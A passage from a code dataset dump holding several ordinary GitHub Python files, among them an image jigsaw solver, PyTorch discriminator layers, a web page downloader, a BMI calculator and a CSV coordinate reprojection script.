'\n\n return html\n\n\ndef process(content, entry, notebook_url):\n # Convert {forms ... } notation to the HTML we need\n regex = re.compile(r'{forms\\n(.*?)\\n}', flags=re.DOTALL)\n content = regex.sub(convert, content)\n\n return content\n","repo_name":"mod2/vinci","sub_path":"plugins/langforms.py","file_name":"langforms.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"41824818615","text":"import numpy as np\nimport cv2\nimport os\nimport glob\nimport random\nimport sys\n\n# Main function used to instaniate the image, replace path with your own directory.\n\ndef main():\n\n path = os.getcwd()\n path += '/nyc_images'\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n pixels = 100\n\n x = 'n'\n\n while (x != 'y'):\n islands = []\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n test = Image(t, pixels, path)\n test.map_image()\n\n while(test.max_images < 0):\n test.clear_map()\n t = Tile(0,0, random.randrange(0, len([n for n in os.listdir(path) if os.path.join(path, n)])))\n test = Image(t, pixels, path)\n test.map_image()\n\n test.print_map()\n print(\"\\n\\nImages Left:\", test.max_images, \"\\n\")\n print('\\nDoes the output look correct (type y to end): ')\n x = input()\n\n\n\n# Load all png images in current pwd/images, make sure to make changes if not pngs or the directory\n# isn't /images\n\ndef load_images(path):\n gray_images = []\n images = [cv2.imread(file) for file in glob.glob(path + \"/*.png\")]\n for i in range(len(images)):\n gray = cv2.cvtColor(images[i], cv2.COLOR_BGR2GRAY)\n gray_images.append(gray)\n return images, gray_images\n\n\n# A load function to pick the pictues in a nonrandom order //Used only for testing\n\ndef load_test_images(path):\n images = []\n gray_images = []\n x_val = 0\n y_val = 1\n c = 0\n images.append(cv2.imread(path + \"/0.png\"))\n images.append(cv2.imread(path + \"/1.png\"))\n images.append(cv2.imread(path + \"/2.png\"))\n images.append(cv2.imread(path + \"/3.png\"))\n images.append(cv2.imread(path + \"/4.png\"))\n images.append(cv2.imread(path + \"/5.png\"))\n images.append(cv2.imread(path + \"/6.png\"))\n images.append(cv2.imread(path + \"/7.png\"))\n images.append(cv2.imread(path + \"/8.png\"))\n images.append(cv2.imread(path + \"/9.png\"))\n images.append(cv2.imread(path + \"/10.png\"))\n images.append(cv2.imread(path + \"/11.png\"))\n images.append(cv2.imread(path + \"/12.png\"))\n images.append(cv2.imread(path + \"/13.png\"))\n images.append(cv2.imread(path + \"/14.png\"))\n images.append(cv2.imread(path + \"/15.png\"))\n images.append(cv2.imread(path + \"/16.png\"))\n images.append(cv2.imread(path + \"/17.png\"))\n images.append(cv2.imread(path + \"/18.png\"))\n images.append(cv2.imread(path + \"/19.png\"))\n images.append(cv2.imread(path + \"/20.png\"))\n images.append(cv2.imread(path + \"/21.png\"))\n images.append(cv2.imread(path + \"/22.png\"))\n images.append(cv2.imread(path + \"/23.png\"))\n\n # for j in range(4):\n # for i in range(6):\n # #img_name = 'images_2/y: '+ str(y_val) + ' x: ' + str(x_val) + \".png\"\n # img_name = path + \"/\"+ str(c) + \".png\"\n # images.append(cv2.imread(img_name))\n # x_val += 1\n # c += 1\n # y_val += 1\n # x_val = 0\n for image in range(len(images)):\n gray = cv2.cvtColor(images[image], cv2.COLOR_BGR2GRAY)\n gray_images.append(gray)\n return images, gray_images\n\n\n# Creating an object for each Tile that gives it an x val, y val, and index in the images list\n\nclass Tile:\n def __init__(self, y, x, index):\n self.x = x\n self.y = y\n self.index = index\n\n\n# Creates an image class with values inputted as the default confidence, current image to start,\n# and the pixel count for each image which has to be identical for each image\n\nclass Image:\n\n # Initializes an image object with all the values below\n def __init__(self, cur_image, pixels, path):\n self.images, self.gray_images = load_images(path)\n self.cur_image = cur_image\n self.max_images = len(self.images)-1\n t = Tile(cur_image.y, cur_image.x, cur_image.index)\n self.map_indices = [[t]]\n self.first_img = cur_image.index\n self.pixels = pixels\n self.unused_images = []\n\n\n # comparison function needs an index to start with and a direction to compare the pixel values of all the other\n # images to in a north, east, south, west form\n def compare_tile(self, index, direction):\n if (direction == 'n'):\n y1 = 0\n y2 = self.pixels-1\n\n elif (direction == 's'):\n y1 = self.pixels-1\n y2 = 0\n\n elif (direction == 'e'):\n x1 = self.pixels-1\n x2 = 0\n\n elif (direction == 'w'):\n x1 = 0\n x2 = self.pixels-1\n\n color = []\n cmp_img = []\n\n\n # this loop is taking every other image in the directory loaded and checking every single pixel that\n # borders it on the side choosen. It them takes the absolute value of the difference between the grayscaled\n # version and averages that. Whatever image has the smallest average is the closest to bordering it.\n for image in range(len(self.gray_images)):\n c = 0\n for p in range(self.pixels):\n if (direction == 'n' or direction == 's'):\n comp = [ self.gray_images[index][y1, p], self.gray_images[image] [y2, p] ]\n color.append(comp)\n else:\n comp = [ self.gray_images[index][p, x1], self.gray_images[image] [p, x2] ]\n color.append(comp)\n for e in range(len(color)):\n c = c + abs(int(color[e][0]) - int(color[e][1]))\n cmp_img.append(c/self.pixels)\n color.clear()\n minimum = min(cmp_img)\n return [minimum, cmp_img.index(minimum)]\n\n def print_map(self):\n for i in range(len(self.map_indices)):\n print(\"\\n\")\n for j in range(len(self.map_indices[i])):\n print(self.map_indices[i][j].y, self.map_indices[i][j].x, self.map_indices[i][j].index, end=\" \")\n\n\n\n # This function determines where the tile should be placed in the mappings of the array\n def place_image(self, tile):\n x = 0\n y = tile.y + abs(self.map_indices[0][0].y)\n x_list = self.list_of_x()\n\n if (tile.index in self.unused_images):\n self.unused_images.remove(tile.index)\n\n # adds a new row on top\n if (y < 0):\n self.map_indices.insert(0, [tile])\n self.max_images -= 1\n # adds a new row at the bottom\n elif (y >= len(self.map_indices)):\n self.map_indices.append([tile])\n self.max_images -= 1\n # adds an x values to a row\n else:\n self.map_indices[y].append(tile)\n self.sort_tiles()\n self.max_images -= 1\n\n def clear_map(self):\n self.map_indices.clear()\n\n # sorts all the rows by their x value\n def sort_tiles(self):\n for row in self.map_indices:\n row.sort(key=lambda x: x.x)\n\n #returns the number value for a tiles position in the 2D array, returns none if doesn't exist\n def get_img_index(self, y, x):\n count = 0\n for img in self.map_indices[y + abs(self.map_indices[0][0].y)]:\n if (x == img.x):\n return count\n count += 1\n return None\n\n\n # returns a list of the entire mapping but just the x values\n def list_of_x(self):\n x_list = []\n for r in range(len(self.map_indices)):\n l = []\n for c in range(len(self.map_indices[r])):\n x = self.map_indices[r][c].x\n l.append(x)\n x_list.append(l)\n return(x_list)\n\n\n # returns a list of the entire mapping but just the index values\n def list_of_images(self):\n index_list = []\n for r in range(len(self.map_indices)):\n l = []\n for c in range(len(self.map_indices[r])):\n x = self.images[self.map_indices[r][c].index]\n l.append(x)\n index_list.append(l)\n return(index_list)\n\n # maps out the entire image based on the starting one\n def map_image(self):\n # setting up a list that will 161show at the end which images haven't been used\n for i in range(len(self.images)):\n if i == self.cur_image.index:\n continue\n self.unused_images.append(i)\n\n north = True\n south = True\n\n # goes and maps all the way up until it doesn't have enough confidence to place\n while(north == True):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y -= 1\n else:\n self.cur_image.y = 0\n self.cur_image.index = self.first_img\n north = False\n\n # goes and maps all the way down until it doesn't have enough confidence to place\n while(south == True):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y += 1\n\n else:\n south = False\n\n # for each row going up and down go and place images east and west all the way until it doesn't\n # have the confidence to anymore\n for row in range(len(self.map_indices)):\n # East half implementation\n east = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(east == True):\n con, index = self.compare_tile(self.cur_image.index, 'e')\n n_con, n_index = self.compare_tile(index, 'w')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x+1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x += 1\n\n else:\n east = False\n\n # West half implementation\n west = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(west == True):\n con, index = self.compare_tile(self.cur_image.index, 'w')\n n_con, n_index = self.compare_tile(index, 'e')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x-1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x -= 1\n\n else:\n west = False\n\n top = self.map_indices[0]\n bot = self.map_indices[-1]\n for c in range(len(self.map_indices[0])):\n # North half implementation\n\n north = True\n self.cur_image.x = top[c].x\n self.cur_image.y = top[c].y\n self.cur_image.index = top[c].index\n # goes and maps all the way up until it doesn't have enough confidence to place\n while(north == True):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y -= 1\n\n else:\n north = False\n\n for col in range(len(self.map_indices[-1])):\n # south half implementation\n south = True\n self.cur_image.x = bot[col].x\n self.cur_image.y = bot[col].y\n self.cur_image.index = bot[col].index\n # goes and maps all the way down until it doesn't have enough confidence to place\n while(south == True):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.y += 1\n\n else:\n south = False\n\n # Add East and West tiles to the newly added rows on top and bottom\n for row in range(len(self.map_indices)):\n # East half implementation\n east = True\n self.cur_image.x = self.map_indices[row][-1].x\n self.cur_image.y = self.map_indices[row][-1].y\n self.cur_image.index = self.map_indices[row][-1].index\n while(east == True):\n con, index = self.compare_tile(self.cur_image.index, 'e')\n n_con, n_index = self.compare_tile(index, 'w')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x+1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x += 1\n\n else:\n east = False\n\n # West half implementation\n west = True\n self.cur_image.x = self.map_indices[row][0].x\n self.cur_image.y = self.map_indices[row][0].y\n self.cur_image.index = self.map_indices[row][0].index\n while(west == True):\n con, index = self.compare_tile(self.cur_image.index, 'w')\n n_con, n_index = self.compare_tile(index, 'e')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y, self.cur_image.x-1, index)\n self.place_image(t)\n self.cur_image.index = index\n self.cur_image.x -= 1\n\n else:\n west = False\n\n\n # Starting at the top row on a row to row basis fill in each row beneath with any x values that the\n # row below the current doesn't have\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row+1]):\n con, index = self.compare_tile(self.cur_image.index, 's')\n n_con, n_index = self.compare_tile(index, 'n')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y+1, self.cur_image.x, index)\n self.place_image(t)\n\n\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1, 0, -1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row-1]):\n con, index = self.compare_tile(self.cur_image.index, 'n')\n n_con, n_index = self.compare_tile(index, 's')\n if (n_index == self.cur_image.index and index in self.unused_images):\n t = Tile(self.cur_image.y-1, self.cur_image.x, index)\n self.place_image(t)\n\n\n # This will sort the tiles by their x value\n self.sort_tiles()\n #self.print_map()\n self.build_image()\n\n # Fill holes and concatenate rows and then concatenate vertically to rebuild the image\n def build_image(self):\n rows = []\n black_image = cv2.imread(\"gray.PNG\", cv2.IMREAD_COLOR)\n b = black_image[0:self.pixels, 0:self.pixels]\n self.images.append(b)\n max_x = max(self.map_indices, key=len)\n len_max_x = len(max(self.map_indices, key=len))\n x = max_x[0].x\n\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row+1]):\n t = Tile(self.cur_image.y+1, self.cur_image.x, len(self.images)-1)\n self.place_image(t)\n self.max_images += 1\n x_list = self.list_of_x()\n for row in range(len(self.map_indices)-1, 0, -1):\n for x in range(len(self.map_indices[row])):\n self.cur_image.x = self.map_indices[row][x].x\n self.cur_image.y = self.map_indices[row][x].y\n self.cur_image.index = self.map_indices[row][x].index\n in_next_row = False\n if (self.map_indices[row][x].x not in x_list[row-1]):\n t = Tile(self.cur_image.y-1, self.cur_image.x, len(self.images)-1)\n self.place_image(t)\n self.max_images += 1\n im = self.list_of_images()\n\n for r in range(len(self.map_indices)):\n rows.append(cv2.hconcat(im[r]))\n\n out = cv2.vconcat(rows)\n cv2.imwrite('out1.png', out)\n\nif __name__==\"__main__\":\n main()\n","repo_name":"zlee113/Jigsaw","sub_path":"jigsaw_solver.py","file_name":"jigsaw_solver.py","file_ext":"py","file_size_in_byte":18555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11491224699","text":"from typing import AnyStr\n\n\nclass Solution:\n\t# @param A : string\n\t# @return an integer\n def titleToNumber(self, A):\n ans = 0\n A = A[::-1]\n for ind,ele in enumerate(A):\n ele = ord(ele) - 64\n i = 26**ind\n ans += ele*i\n return ans\n\n\n\n# s = Solution()\n\n# print(s.titleToNumber(\"AB\"))\n","repo_name":"akashdeep3194/Scaler","sub_path":"d16/Excel Column Number.py","file_name":"Excel Column Number.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30294980970","text":"from saitama_data.datasetup.models.todashi.toda_teacher_qes.schema import TodaTeacherQesSchema\nfrom saitama_data.datasetup.models.mix_in.io_mixin import CsvIOMixin\n\n\nclass TodaTeacherQes(CsvIOMixin, TodaTeacherQesSchema):\n path = './data/db/todashi/toda_teacher_qes.csv'\n\n def drop_duplicated_id(self):\n self.data = (\n self.data\n .assign(count_question = lambda dfx: dfx.count(axis=1))\n .sort_values('count_question', ascending=False)\n .drop_duplicates(subset=['year', 'teacher_id'], keep='last')\n .drop('count_question', axis=1)\n )\n return self\n","repo_name":"HirotakeIto/saitama_data","sub_path":"saitama_data/datasetup/models/todashi/toda_teacher_qes/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33420981460","text":"import torch\ntorch.manual_seed(0)\ntorch.cuda.manual_seed_all(0)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\nimport torch.nn as nn\n\n\nclass Discriminator(nn.Module):\n def __init__(self, n_h):\n super(Discriminator, self).__init__()\n self.f_k_bilinear = nn.Bilinear(n_h,n_h, 1)\n\n for m in self.modules():\n self.weights_init(m)\n\n def weights_init(self, m):\n if isinstance(m, nn.Bilinear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n\n def forward(self, c, h_pl, h_mi, s_bias1=None, s_bias2=None):\n # c:torch.Size([1, 64]) c_x :torch.Size([1, 3550, 64]) h_pl :torch.Size([1, 3550, 64])\n c_x = torch.unsqueeze(c, 1) # c: summary vector, h_pl: positive, h_mi: negative\n c_x = c_x.expand_as(h_pl)\n #c_x =c\n # print(c_x.shape) #[1, 3550, 2000]\n # print(h_pl.shape)#[1, 3550, 64]\n\n # print(h_mi.shape)\n\n sc_1 = torch.squeeze(self.f_k_bilinear(h_pl, c_x), 2) # sc_1 = 1 x nb_nodes torch.Size([1, 3550])\n sc_2 = torch.squeeze(self.f_k_bilinear(h_mi, c_x), 2) # sc_2 = 1 x nb_nodes torch.Size([1, 3550])\n\n if s_bias1 is not None:\n sc_1 += s_bias1\n if s_bias2 is not None:\n sc_2 += s_bias2\n logits = torch.cat((sc_1, sc_2), 1)\n\n return logits #torch.Size([1, 7100])\n \n \n \nclass Discriminator2(nn.Module): # 借鉴了deep infomax的代码啊\n def __init__(self, n_h1, n_h2):\n super(Discriminator2, self).__init__()\n self.f_k = nn.Bilinear(n_h1,n_h2, 1) # 双线性\n self.act = nn.Sigmoid()\n\n for m in self.modules():\n self.weights_init(m)\n\n def weights_init(self, m):\n if isinstance(m, nn.Bilinear):\n torch.nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n # 隐特征,原始特征\n\n # h_c torch.Size([1, 3550, 64]) h_pl torch.Size([1, 3550, 64])\n def forward(self, h_c, h_pl, sample_list, s_bias1=None, s_bias2=None):\n sc_1 = torch.squeeze(self.f_k(h_pl, h_c), 2) # torch.Size([1, 3550]) 正例的分数\n #sc_1 = self.act(sc_1)\n sc_2_list = []\n for i in range(len(sample_list)): # 从另一个view下选\n h_mi = torch.unsqueeze(h_c[0][sample_list[i]],0) # unsqueeze 第0维度 增加 1。\n sc_2_iter = torch.squeeze(self.f_k(h_mi, h_c), 2) # torch.Size([1, 3550])\n sc_2_list.append(sc_2_iter)\n for i in range(len(sample_list)):# 从当前view下选\n h_mi = torch.unsqueeze(h_c[0][sample_list[i]],0) # unsqueeze 第0维度 增加 1。\n sc_2_iter = torch.squeeze(self.f_k(h_mi, h_c), 2) # torch.Size([1, 3550])\n sc_2_list.append(sc_2_iter)\n # print(sc_2_iter.shape)\n\n #print(torch.stack(sc_2_list,0).shape)\n # sc_2list里面每个 的维度torch.Size([1, 3550])\n a=torch.stack(sc_2_list,0)\n b=torch.stack(sc_2_list,1)\n sc_2_stack = torch.squeeze(torch.stack(sc_2_list,0),1)\n # sc_2 = self.act(sc_2_stack)\n sc_2 = sc_2_stack\n if s_bias1 is not None:\n sc_1 += s_bias1\n if s_bias2 is not None:\n sc_2 += s_bias2\n # print(sc_1.shape)\n # print(sc_2.shape)\n\n logits = torch.cat((sc_1, sc_2.reshape(1,-1)), 1)\n # logits: 1*17750\n return logits","repo_name":"BrainMindgo/CUMGRL","sub_path":"layers/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"2227897565","text":"print(\"Hi! This is only place to get the most accurate BMI\")\n\nweight = float(input(\"Enter your weight (in Kilograms): \"))\nheight = float(input(\"Enter your height (in centimetres): \")) / 100.0\n\nBMI = weight / (height ** 2)\n\nreport = \"\"\n\nif BMI <= 18.5:\n report = \"you are underweight\"\nelif 18.5 < BMI <= 25:\n report = \"you have a normal weight\"\nelif 25 < BMI <= 30:\n report = \"you are slightly overweight\"\nelif 30 < BMI <= 35:\n report = \"you are obese\"\nelse:\n report = \"you are clinically obese\"\n\nBMI = round(weight / (height ** 2))\n\nprint(f\"Your BMI is {BMI}, {report}.\")\n","repo_name":"sypai/100DaysOfPython","sub_path":"Day3/bmi_2.py","file_name":"bmi_2.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"40223520884","text":"import unittest\nimport time\nimport sys\nfrom unittest import mock\n\nfrom servicectl import service, command\n\n\nclass Test(unittest.TestCase):\n\n def test(self):\n start_times = {}\n\n class service1(service):\n\n @command()\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n class service2(service):\n\n @command()\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n class service3(service):\n\n dependencies = (\n service1,\n service2,\n )\n\n @command(recursive=\"yes\")\n def start(self):\n start_times[self.__class__] = time.time()\n time.sleep(.2)\n return True\n\n with mock.patch.object(sys, \"argv\", [\"service\", \"start\"]):\n service3.main()\n\n self.assertTrue(start_times[service1] - start_times[service2] < .01)\n self.assertTrue(\n start_times[service3]\n - max(start_times[service1], start_times[service2]) >= .2)\n","repo_name":"adelplanque/systemctl","sub_path":"tests/test_dependances.py","file_name":"test_dependances.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30379740087","text":"from bs4 import BeautifulSoup\r\nsoup = BeautifulSoup(open('GIS_dictionary.html','r',encoding='UTF-8'),features=\"lxml\")\r\n\r\n#tag标签\r\nGlossaryTerm_list = soup.find_all(attrs={'class':'GlossaryTerm'})#完整,1729个\r\nDefinition_list = soup.find_all(attrs={'class':'Definition'})#缺\r\n\r\n#添加标签,将defList补充完整;\r\n#新建字典,通过标签内部的name属性建立key,value的连接;\r\n#初步使用.text方法和.a.attrs['name']方法;\r\n#set数据库时添加首字母字段;\r\n#尝试加入图片\r\n#对所有的See xxxxxx.在前端中添加超链接指向xxxxxx\r\n\r\n'''\r\n 完成Definition_list中已有的1610个解释的文本获取和词语对应\r\n'''\r\ndefList = []\r\nfor i in Definition_list:\r\n defi = i.text.strip('\\n')#修饰definition\r\n word = i.a.attrs['name'].replace('_',' ')#修饰glossary\r\n defList.append([defi,word]) #抓取所有解释和词语在小列表,再存入大列表\r\n if (i.text==''): #确保没有definition为空\r\n print(i.a.attrs['name'])\r\n#defList示例[[\"defi\",'word'],[\"\",''],[\"\",''],[\"\",'']...]\r\n\r\n\r\n'''\r\n 标签,将defList补充完整,从Ctrl+F得到共有119个标签\r\n \"1610+119=1729\",大成功!1729 == len(GlossaryTerm_list)\r\n'''\r\n#定义函数func_n\r\n#格式化的definition:首位加\"1.\";将多个连续的\"\\n\"收为一个;在\"\\n\"后添加\"2.\"等序号\r\ndef func_n(txt):\r\n lstTxt = list(txt) #因为不能直接修改string,故将其打碎为list进行操作\r\n n = len(lstTxt)\r\n newlstTxt = [\"1.\"] #添加首位的\"1.\"\r\n count = 2\r\n for i in range(n-1):\r\n if lstTxt[i]=='\\n' and lstTxt[i]!=lstTxt[i+1] and lstTxt[i+1]!=' ': #保留单独的\"\\n\",在其后添加序号;排除'\\n'+' '的组合\r\n newlstTxt.append('\\n')\r\n newlstTxt.append(str(count))\r\n newlstTxt.append('.')\r\n count += 1\r\n if lstTxt[i]!='\\n' and lstTxt[i]!=lstTxt[i+1] and lstTxt[i]!='\\t': #放弃连续多个的\"\\n\"、放弃所有的'\\t'\r\n newlstTxt.append(lstTxt[i])\r\n newlstTxt.append(lstTxt[-1]) #添加for循环里没有的最后一位\r\n strTxt = ''.join(newlstTxt) #''.join()函数将list变为string\r\n return strTxt\r\n#开始实操\r\nol_list = soup.find_all('ol')\r\nfor j in ol_list:\r\n defi_ol = j.text.strip('\\n')\r\n defi_ol = func_n(defi_ol)\r\n word_ol = j.a.attrs['name'].replace('_',' ')\r\n defList.append([defi_ol,word_ol])\r\n","repo_name":"Owen017/ESRI-Dictionary-A-Z","sub_path":"WhereDoesTheDataComeFrom/step2_DataWrangling.py","file_name":"step2_DataWrangling.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32018794839","text":"from bs4 import BeautifulSoup\nfrom pathlib import Path\nfrom page_loader.name import gen_name\nfrom progress.bar import IncrementalBar\nimport logging\nimport requests\nimport os\n\n\nlog = logging.getLogger(__name__)\nCURRENT_DIR = os.getcwd()\nTAG_DICT = {\n \"img\": \"src\",\n \"script\": \"src\",\n \"link\": 'href',\n}\n\n\ndef check_status(page):\n status = page.status_code\n if status != 200:\n raise('Error! Status is not 200')\n # sys.exit(1)\n return\n\n\ndef download_obj(resources, site_url, file_dir):\n with IncrementalBar('Downloading:', max=len(resources)) as progbar:\n for el in resources:\n url = f'{site_url}{el[\"old_value\"]}'\n path = os.path.join(file_dir, el['new_value'])\n with open(path, 'wb') as f:\n f.write(requests.get(url).content)\n progbar.next()\n log.debug('Odjects downloaded')\n\n\ndef download_page(site_url, file_dir, output):\n resources = []\n page = requests.request('GET', site_url)\n check_status(page)\n soup = BeautifulSoup(page.text, 'html.parser')\n for tag, source in TAG_DICT.items():\n for el in soup.find_all(tag):\n source_value = el.get(source)\n if source_value is not None and source_value.startswith('/'):\n base, ext = os.path.splitext(source_value)\n if ext:\n new_value = f'{gen_name(base)}{ext}'\n resources.append(\n {'old_value': source_value, 'new_value': new_value},\n )\n el[source] = os.path.join(os.getcwd(), file_dir, new_value)\n download_obj(resources, site_url, file_dir)\n name = gen_name(site_url) + '.html'\n web_page = Path(output) / name\n page = soup.prettify()\n Path(web_page).write_text(page)\n log.debug('Page is changed')\n return str(web_page)\n","repo_name":"yutanov/python-project-lvl3","sub_path":"page_loader/pager.py","file_name":"pager.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"26064178562","text":"#!/usr/bin/env python3\nimport sys\nfrom collections.abc import Iterable\nfrom math import *\nfrom itertools import *\nfrom collections import *\nfrom functools import *\nfrom operator import *\ntry:\n from math import gcd\nexcept Exception:\n from fractions import gcd\nreadInt = lambda: int(sys.stdin.readline())\nreadIntN = lambda: [int(v) for v in sys.stdin.readline().split(' ')]\n\nMOD = 2 # type: int\n\n\ndef main():\n N, M = readIntN()\n ks = []\n ss = []\n for i in range(M):\n tmp = readIntN()\n ks.append(tmp[0])\n ss.append(tmp[1:])\n ps = readIntN()\n\n qs = [] \n for s in ss:\n q = 0\n for c in s:\n q |= (1 << (c - 1))\n qs.append(q)\n\n ret = 0\n for i in range(1 << N):\n ok = True\n for q, p in zip(qs, ps):\n ok &= (bin(i & q).count('1') % MOD) == p\n if ok:\n ret += 1\n print(ret)\n\nif __name__ == '__main__':\n main()\n","repo_name":"ar90n/lab","sub_path":"contest/atcoder/abc128/C/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"40830481642","text":"import importlib\nfrom messages import Message\nimport xml.etree.ElementTree\n\n#----------------------------------------------------------------------------------------------\nclass MessageClientContaier():\n def __init__(self, connection_info, channel, callback_queue, filename):\n self.connection_info = connection_info\n self.channel = channel\n self.callback_queue = callback_queue\n self.filename = filename\n self.dict_messages = {}\n self.__load(self.filename)\n \n def __load(self, filename):\n e = xml.etree.ElementTree.parse(filename).getroot()\n \n for msg in e.findall('msg'):\n msg_name = msg.get('name')\n for clt in msg.findall('client'):\n class_ = getattr(importlib.import_module(\"connections.msg.messages\"), 'Message_client_' + msg_name)\n self.dict_messages[msg_name] = class_(msg_name, self.connection_info, self.channel, self.callback_queue, clt.get('get'), clt.get('send'))\n break\n \n def send_msg(self, name, params, corr_id):\n self.dict_messages[name].send(params, corr_id) ","repo_name":"innovatelogic/shop7","sub_path":"src/client/connections/msg/message_client_cont.py","file_name":"message_client_cont.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"31966536212","text":"# Get CSVs to reproject from input path\nimport csv\nimport pyproj\nfrom functools import partial\nfrom os import listdir, path\n\n# From here\n# https://gis.stackexchange.com/questions/168081/how-to-reproject-500-csv-files-efficiently-and-easily-using-qgis\n# and here\n# https://gis.stackexchange.com/questions/168081/how-to-reproject-500-csv-files-efficiently-and-easily-using-qgis\n\n#Define some constants at the top\n#Obviously this could be rewritten as a class with these as parameters\n\nlon = 'CoordX' #name of longitude field in original files\nlat = 'CoordY' #name of latitude field in original files\nf_x = 'CoorX_reprojected' #name of new x value field in new projected files\nf_y = 'CoorY_reprojected' #name of new y value field in new projected files\nin_file = 'C:\\\\Users\\\\uhlmann\\\\Box\\\\GIS\\\\Project_Based\\\\Klamath_River_Renewal_MJA\\\\GIS_Request_Tracking\\\\GIS_Request_Internal_Fall_Creek\\\\fch_2019_control_points.csv' #input directory\nout_file = 'C:\\\\Users\\\\uhlmann\\\\Box\\\\GIS\\\\Project_Based\\\\Klamath_River_Renewal_MJA\\\\GIS_Request_Tracking\\\\GIS_Request_Internal_Fall_Creek\\\\fch_2019_control_points_CA_SP12.csv' #output directory\ninput_projection = 'epsg:6339' #WGS84\noutput_projecton = 'epsg:2225' #CA State Plane 1 feet\n\n#Define partial function for use later when reprojecting\n# user open pyproj.Proj(init=bla, preserve_units = True) if want Z the same\nproject = partial(\n pyproj.transform,\n pyproj.Proj(init=input_projection),\n pyproj.Proj(init=output_projecton))\n\n#open a writer, appending '_project' onto the base name\nwith open(out_file, 'w') as w:\n #open the reader\n with open(in_file, 'r') as r:\n reader = csv.DictReader(r)\n #Create new fieldnames list from reader\n # replacing lon and lat fields with x and y fields\n fn = [x for x in reader.fieldnames]\n fn[fn.index(lon)] = f_x\n fn[fn.index(lat)] = f_y\n writer = csv.DictWriter(w, fieldnames=fn)\n #Write the output\n writer.writeheader()\n for row in 